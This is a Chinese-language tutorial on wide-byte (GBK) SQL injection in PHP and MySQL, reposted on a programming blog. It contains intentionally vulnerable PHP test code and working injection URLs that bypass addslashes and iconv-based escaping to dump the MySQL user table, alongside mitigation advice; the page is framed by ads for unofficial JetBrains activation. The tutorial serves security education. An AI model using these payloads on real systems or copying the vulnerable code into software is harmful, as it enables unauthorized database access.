php宽字节注入,[投稿]宽字节注入详解

php宽字节注入,[投稿]宽字节注入详解前言在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。首先,宽字节注入与HTML页面编码是无关的,笔者曾经看到Default<metacharset=utf8>1<metacharset=utf8>…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言

在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。

首先,宽字节注入与HTML页面编码是无关的,笔者曾经看到

Default

<meta charset=utf8>

1

<metacharset=utf8>

就放弃了尝试,这是一个误区,SQL注入不是XSS。虽然他们中编码的成因相似,不过发生的地点不同。

很多网上的材料都说程序使用了宽字节来处理程序,却又不指出具体是指什么程序。本文就介绍一下具体漏洞发生的原理与简单的利用。在这里我们限定使用的语言是PHP5.4,数据库MYSQL5.6。

涉及到的一些概念

字符、字符集与字符序

字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

字符序(collation)指同一字符集内字符间的比较规则。

UTF8

由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

MYSQL的字符集转换过程

1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

• 使用每个数据字段的CHARACTER SET设定值;

• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);

• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

• 若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results。

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

PHP测试代码:

Default

<!DOCTYPE html>

<meta charset=”gbk”><!–仅用于基础的显示,换成utf8也行就是不好看–>

<?php

error_reporting(0);

$conn = mysql_connect(‘127.0.0.1′,’root’,”);

mysql_select_db(‘mysql’,$conn);

mysql_query(“set names gbk”); //不安全的编码设置方式

$res = mysql_query(“show variables like ‘character%’;”); //显示当前数据库设置的各项字符集

while($row = mysql_fetch_array($res)){

var_dump($row);

}

$user = addslashes($_GET[‘sql’]); //mysql_real_escape_string() magic_quote_gpc=On addslashes() mysql_escape_string()功能类似

$sql = “SELECT host,user,password FROM user WHERE user='{$user}'”;

echo $sql.'</br>’;

if($res = mysql_query($sql)){

while($row = mysql_fetch_array($res)){

var_dump($row);

}

}

else{

echo “Error”.mysql_error().”<br/>”;

}

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

<!DOCTYPEhtml>

<metacharset=”gbk”><!–仅用于基础的显示,换成utf8也行就是不好看–>

<?php

error_reporting(0);

$conn=mysql_connect(‘127.0.0.1′,’root’,”);

mysql_select_db(‘mysql’,$conn);

mysql_query(“set names gbk”);//不安全的编码设置方式

$res=mysql_query(“show variables like ‘character%’;”);//显示当前数据库设置的各项字符集

while($row=mysql_fetch_array($res)){

var_dump($row);

}

$user=addslashes($_GET[‘sql’]);//mysql_real_escape_string() magic_quote_gpc=On addslashes() mysql_escape_string()功能类似

$sql=”SELECT host,user,password FROM user WHERE user='{$user}'”;

echo$sql.'</br>’;

if($res=mysql_query($sql)){

while($row=mysql_fetch_array($res)){

var_dump($row);

}

}

else{

echo”Error”.mysql_error().”<br/>”;

}

?>

Default

http://localhost/xl.php?sql=root%df%27%20or%201=1%23

1

http://localhost/xl.php?sql=root%df%27%20or%201=1%23

是可以执行成功的!

53b1541e62b44cc140afcc593092f14a.png

URL解码sql=rootß’ or 1=1#

解析过程:

Default

$_GET[‘sql’] 经过 addslashes编码之后带入了‘\’

1、root%df%5C%27%20or%201=1%23

2、带入mysql处理时使用了gbk字符集

%df%5c -> 運 成功的吃掉了%5c

%27 -> ‘ 单引号成功闭合

1

2

3

4

5

6

7

8

9

10

$_GET[‘sql’]经过addslashes编码之后带入了‘\’

1、root%df%5C%27%20or%201=1%23

2、带入mysql处理时使用了gbk字符集

%df%5c->運成功的吃掉了%5c

%27->‘单引号成功闭合

执行了插入的sql语句。

怎么吃的:

GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。

补充:

GB2312是被GBK兼容的,它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。

其它的宽字符集也是一样的分析过程,要吃掉%5c,只需要低位中包含正常的0x5c就行了。

安全过滤

上文中代码使用了mysql_query(“set names gbk”)来设置编码,其实在mysql中是推荐mysql_set_charset(“gbk”);函数来进行编码设置的,这两个函数大致的功能相似,唯一不同之处是后者会修改mysql对象中的mysql->charset属性为设置的字符集。

同时配套的过滤函数为mysql_real_escape_string()。上面代码中列出了几个过滤的函数,他们之间的区别就是mysql_real_escape_string()会根据mysql对象中的mysql->charset属性来对待传入的字符串,因此可以根据当前字符集来进行过滤。

同理可得

由上文可得宽字节注入是由于转编码而形成的,那具有转编码功能的函数也成了漏洞的成因。

转码函数

mb_convert_encoding()

iconv()

以下用iconv()来演示,修改上面的代码:

Default

<!DOCTYPE html>

<meta charset=”gbk”>

<?php

error_reporting(0);

$conn = mysql_connect(‘127.0.0.1′,’root’,”);

mysql_select_db(‘mysql’,$conn);

mysql_set_charset(“utf8”); //推荐的安全编码

$user = mysql_real_escape_string(($_GET[‘sql’])); //推荐的过滤函数

$user = iconv(‘GBK’, ‘UTF-8’,$user);

$sql = “SELECT host,user,password FROM user WHERE user='{$user}'”;

echo $sql.'</br>’;

$res = mysql_query($sql);

while($row = mysql_fetch_array($res)){

var_dump($row);

}

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

<!DOCTYPEhtml>

<metacharset=”gbk”>

<?php

error_reporting(0);

$conn=mysql_connect(‘127.0.0.1′,’root’,”);

mysql_select_db(‘mysql’,$conn);

mysql_set_charset(“utf8”);//推荐的安全编码

$user=mysql_real_escape_string(($_GET[‘sql’]));//推荐的过滤函数

$user=iconv(‘GBK’,’UTF-8′,$user);

$sql=”SELECT host,user,password FROM user WHERE user='{$user}'”;

echo$sql.'</br>’;

$res=mysql_query($sql);

while($row=mysql_fetch_array($res)){

var_dump($row);

}

?>

604203d4d3e7e0ab676b2ab140784284.png

Default

http://localhost/xl.php?sql=root%e5%27or%201=1%23

1

http://localhost/xl.php?sql=root%e5%27or%201=1%23

同样可以执行成功,编码解析的过程依然如上。

总结一下漏洞成因:

代码一

1、使用了不安全的字符集设置函数与过滤函数。

2、漏洞发生在PHP请求mysql时使用character_set_client值进行一次转码。

代码二

1、使用了推荐的设置函数与过滤函数。

2、解析错误发生在iconv()函数转码时,GBK转向UTF8吃掉了“\”

3、PHP请求mysql时转码安全。

另外:

当改变编码方向时$user = iconv(‘UTF-8’, ‘gbk’,$user);

这种情况下需要两个参数来配合注入。

例如:

Default

http://localhost/xl.php?sql=root%e9%8c%a6¶=%20or%201=1%23

1

http://localhost/xl.php?sql=root%e9%8c%a6¶=%20or%201=1%23

b2e4c3fc2d844d6134207b2018b5377e.png

总结:

宽字节注入跟HTML页面编码无关。

Mysql编码与过滤函数推荐使用mysql_real_escape_string(),mysql_set_charset()。

转编码函数同样会引起宽字节注入,即使使用了安全的设置函数。

参考文献

mysql字符集的设置:http://www.laruence.com/2008/01/05/12.html

赏金发放情况:本文获得赏金100RMB,已于4.3日发放到作者账号。

征稿启事:91RI一直相信“你不与人分享,谁与你分享”,分享的确是件非常有意义的事情。为了让优秀的同学有地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活动!本次活动的详情可以围观《征稿启事》

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/181945.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号